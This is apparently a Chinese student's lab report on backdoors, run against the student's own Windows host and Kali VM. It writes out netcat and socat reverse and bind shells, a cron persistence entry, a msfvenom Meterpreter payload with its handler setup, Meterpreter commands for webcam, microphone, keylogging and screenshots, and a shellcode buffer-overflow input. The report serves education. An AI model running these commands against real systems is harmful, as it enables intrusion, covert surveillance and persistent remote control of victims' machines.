20191324网络对抗EXP2后门原理与实践
实验基础
本次实验需要我们掌握后门的基础知识,学习使用nc
实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom
指令生成简单的后门程序,学会MSF POST模块的应用。
一、后门的概念
后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。
二、常用的后门工具
NC和Netcat
都是底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
在Windows系统中,需要下载ncat.rar,解压后可使用
SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。
Meterpreter
一个用来生成后门程序的程序。
它包含着后门的
基本功能(基本的连接、执行指令)
扩展功能(如搜集用户信息、安装服务等功能)
编码模式
运行平台
运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的Meterpreter程序有
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter。
三、后门工具实践
在主机win10的cmd上输入ipconfig
查看本机IP
可知本机IP为:172.30.7.175
在Kali虚拟机中用sudo ifconfig
查看Kali虚拟机IP
可知Kali的ip为:192.168.146.133
3.1使用netcat获取主机操作Shell,cron启动
先下载ncat,配置好环境变量:
在主机中获取虚拟机shell
在主机中使用ncat -l -p 1324
(个人学号后四位)监听本机的1324端口:
在Kali环境下,使用nc
指令的-e选项反向连接Windows主机的1324端口nc 172.30.7.175(主机IP) 1324 -e /bin/sh
:
成功getshell
在虚拟机中获取主机shell
在虚拟机中用nc -l -p 1324
监听主机1324端口
在主机中用ncat -e cmd 192.168.146.133 1324
,成功获取到主机shell
在虚拟机中启动cron并在主机监听
先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加52 * * * * nc 172.30.7.175 1324 -e /bin/sh
,即在每个小时的第52分钟反向连接Windows主机的1324端口
等到每小时的52分,在ip地址为172.30.7.175
的主机端用ncat -l -p 1324
打开监听即可
3.2使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
新建触发器
下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar,并解压后使用,使用参考README
新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1324 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1324,同时把cmd.exe的stderr重定向
设置好后我们按下Win+L
(通用)或者F10(一些电脑适用)锁定工作台,即把电脑锁屏。解锁后由于Windows防火墙没关,发现弹出UAC警告,说明之前设置成功
在Kali中输入命令socat - tcp:172.30.7.175:1324
成功获取Windows的Shell
3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20191324_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.133 LPORT=1324 -f exe > 20191324_backdoor.exe
,其中
- LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
- LPORT是回连的端口
- -p 使用的payload。
- payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
- -f 生成文件的类型
>
输出到哪个文件
在Windows上打开监听
在Kali上用nc 192.168.43.33 1324 < 20191324_backdoor.exe
将生成的20191324_backdoor.exe后门程序传过去
在kali上使用msfconsole指令进入msf控制台
对msf控制台进行配置
依次输入以下命令:
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.146.133 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1324
输入show options
显示配置完后的情况
接着输入exploit
进行监听,在Windows在打开20191324_backdoor.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d可设置时长)
获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d可设置时长)
截取主机屏幕
使用screenshot
指令可以进行截屏
3.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在本地获取shell
先按照之前实验1的找到返回地址,并关闭地址随机化。
再对msf控制台进行配置,依次输入以下命令
use exploit/multi/handler
set payload linux/x86/shell/reverse_nonx_tcp
set LHOST 192.168.146.133
set LPORT 1324
再在另一终端输入下面命令
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.146.133 LPORT=1324 -f c perl -e 'print "A" x 32;print "\xc0\xd1\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x92\x85\x66\x68\x05\x2c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>inputExp2
然后上面那个msf控制台输入exploit
再在终端输入(cat inputExp2 ;cat) | ./pwn1,再按回车就攻击成功了
四、实验体会
相比之前做过的攻击实验,这次实验相比起来有趣了许多,让我更加直观的感受到了电脑被入侵会给我们带来多大的危害,
同时也让我后背发凉,谁知道整台主机里面有没有后门程序正在监视着我的一举一动,这也提醒我以后一定要在官网下载软件
,拒绝盗版。为了有效地防范木马后门,还要学会对进程进行操作,时时注意系统运行状况,看看是否有一些不明进程正运行
并及时地将不明进程终止掉。而且我发现我这次实验进行的非常顺利,我的杀毒软件火绒根本没任何警示,,原来点开一看我
的火绒已经很多天没运行了,需要我手动修复,更让我感到害怕。
五、基础问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 上网下载了盗版软件
- 浏览网页的时候,点的一些广告可能会被植入后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- Linux下可以通过cron来启动
- 对后门程序进行伪装引诱用户点击
(3)Meterpreter有哪些给你映像深刻的功能?
- 打开摄像头
- 截取主机主屏幕
- 获取键盘输入
(4)如何发现自己有系统有没有被安装后门?
- 使用杀毒软件